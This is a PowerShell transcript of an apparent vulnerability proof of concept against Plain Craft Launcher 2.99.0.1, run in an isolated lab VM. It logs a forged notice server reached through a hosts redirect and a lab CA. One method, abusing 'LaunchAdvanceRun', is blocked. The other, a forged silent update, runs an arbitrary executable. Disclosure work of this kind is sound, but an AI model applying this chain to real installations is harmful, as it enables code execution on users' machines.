| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168 |
- **********************
- Windows PowerShell transcript start
- Start time: 20261025030453
- Username: W-\Administrator
- RunAs User: W-\Administrator
- Configuration Name:
- Machine: W- (Microsoft Windows NT 10.0.19044.0)
- Host Application: powershell.exe -NoProfile -ExecutionPolicy Bypass -File D:\pcl-test\demo.ps1
- Process ID: 3864
- PSVersion: 5.1.19041.1237
- PSEdition: Desktop
- PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.1237
- BuildVersion: 10.0.19041.1237
- CLRVersion: 4.0.30319.42000
- WSManStackVersion: 3.0
- PSRemotingProtocolVersion: 2.3
- SerializationVersion: 1.1.0.1
- **********************
- Waiting for the desktop ...
- ==============================================================
- PCL 2.99.0.1 PoC demo | step1
- ==============================================================
- Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).
- computer : W-
- user : Administrator
- OS : Microsoft Windows 10 Enterprise LTSC
- display : 1920x1080 (1920x1020)
- network : no NIC attached
- ==============================================================
- PCL 2.99.0.1 PoC demo | step2
- ==============================================================
- Copy PCL 2.99.0.1.zip to the Desktop.
- C:\Users\Administrator\Desktop\PCL-2.99.0.1.zip
- size : 2673993 bytes
- sha256 : 4D239A62ED66FB9EBCF4633FD881EB098E9A7E4F296F0E414B58AA2F1F7F7830
- ==============================================================
- PCL 2.99.0.1 PoC demo | step3
- ==============================================================
- Extract the new PCL to Desktop\PCL.
- C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
- size : 6013952 bytes
- sha256 : 0DB34E19D9EEB6D496D20FABE786EC16BBD36BA6B0CCDC8D29CB7E909C114397
- ==============================================================
- PCL 2.99.0.1 PoC demo | step4
- ==============================================================
- Run the PoC: forged notice server, hosts entry and a lab CA.
- target : pcl2-server-1253424809.file.myqcloud.com
- hosts : 127.0.0.1
- server : https://127.0.0.1:443 (PowerShell TlsListener)
- notice : id 11002, importantLevel 999
- notice.json -> actions.setup:
- "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe"
- Starting the PoC and PCL ...
- [03:05:28] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
- [03:05:29] hosts already contains the lab entry.
- [03:05:29] DNS cache flushed.
- [03:05:29] Generating lab CA and leaf certificates ...
- [03:05:31] CA generated: 98D33A82388DDAB8F63D9099F63A2343E4ED6C3C
- [03:05:31] leaf generated: F892D85ED609589BAFDB3D82B65D69183384E994
- [03:05:32] payload compiled: C:\Users\Public\pclpoc.exe
- [03:05:35] PoC server listening on https://127.0.0.1:443 (mode=launch)
- [03:05:35] Starting PCL ...
- [03:05:36] PCL PID 2500
- >>> In PCL, click "Start Game" (a working Minecraft instance is required).
- >>> This is what runs the LaunchAdvanceRun payload.
- [03:05:36] Waiting up to 40 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
- [-] No marker file was produced.
- PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log*.txt
- server log: C:\PCLPoC\backup\server.out.log
- [03:05:57] Cleanup ...
- [03:05:57] CA removed.
- [03:05:57] leaf certificate removed.
- [03:05:58] hosts restored.
- [03:05:58] PCL registry restored.
- [03:05:58] Done.
- --- Method 1 result ---
- no marker: LaunchAdvanceRun was not executed.
- PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log1.txt
- 62: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败(setup, {
- 63: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
- 64: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] "LaunchAdvanceRunWait": "False"
- 65: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }):被禁止的设置项:LaunchAdvanceRun
- 2.99.0.1 setup blacklist rejects LaunchAdvanceRun before saving it.
- ==============================================================
- PCL 2.99.0.1 PoC demo | step6
- ==============================================================
- Delete the entire PCL directory.
- C:\Users\Administrator\Desktop\PCL
- exists after delete: False
- A clean copy is extracted again for method 2.
- ==============================================================
- PCL 2.99.0.1 PoC demo | step7
- ==============================================================
- Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.
- notice.cfg : 11002|0|0|0|999
- ServerConfig: Update.Release.DownloadUrls -> https://.../update.zip
- update.zip : Plain Craft Launcher 2.exe (payload)
- Starting the PoC and PCL ...
- [03:06:24] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
- [03:06:24] hosts already contains the lab entry.
- [03:06:24] DNS cache flushed.
- [03:06:24] Generating lab CA and leaf certificates ...
- [03:06:24] CA generated: 5905F23B030711502A1BE07211CA919E638404A5
- [03:06:24] leaf generated: 14654FAC23BE9D40AF14DAF305B15EE8DAB81B03
- [03:06:24] payload compiled: C:\Users\Public\pclpoc.exe
- [03:06:27] PoC server listening on https://127.0.0.1:443 (mode=update)
- [03:06:27] Starting PCL ...
- [03:06:28] PCL PID 2444
- [03:06:28] Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...
- [03:06:32] update payload staged.
- [03:06:34] Closing PCL PID 2444 ...
- [03:06:35] Waiting up to 60 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
- [+] SUCCESS: payload executed.
- 2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Cra
- ft Launcher 2.exe False
- [03:06:36] Cleanup ...
- [03:06:36] CA removed.
- [03:06:36] leaf certificate removed.
- [03:06:36] hosts restored.
- [03:06:36] PCL registry restored.
- [03:06:36] Done.
- --- Method 2 result ---
- marker:
- 2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False
- staged exe : D:\pcl-test\evidence\staging.exe (4096 bytes)
- sha256 : DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
- update.zip : Plain Craft Launcher 2.exe (4096 bytes)
- entry sha256: DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
- hash match : the downloaded zip entry ran.
- calc.exe : started (visible on the right)
- --- Summary ---
- Method 1 (setup -> LaunchAdvanceRun): BLOCKED
- Method 2 (slientupdate -> exe) : SUCCESS
- Opening RESULT.txt on the right ...
- **********************
- Windows PowerShell transcript end
- End time: 20261025030711
- **********************
|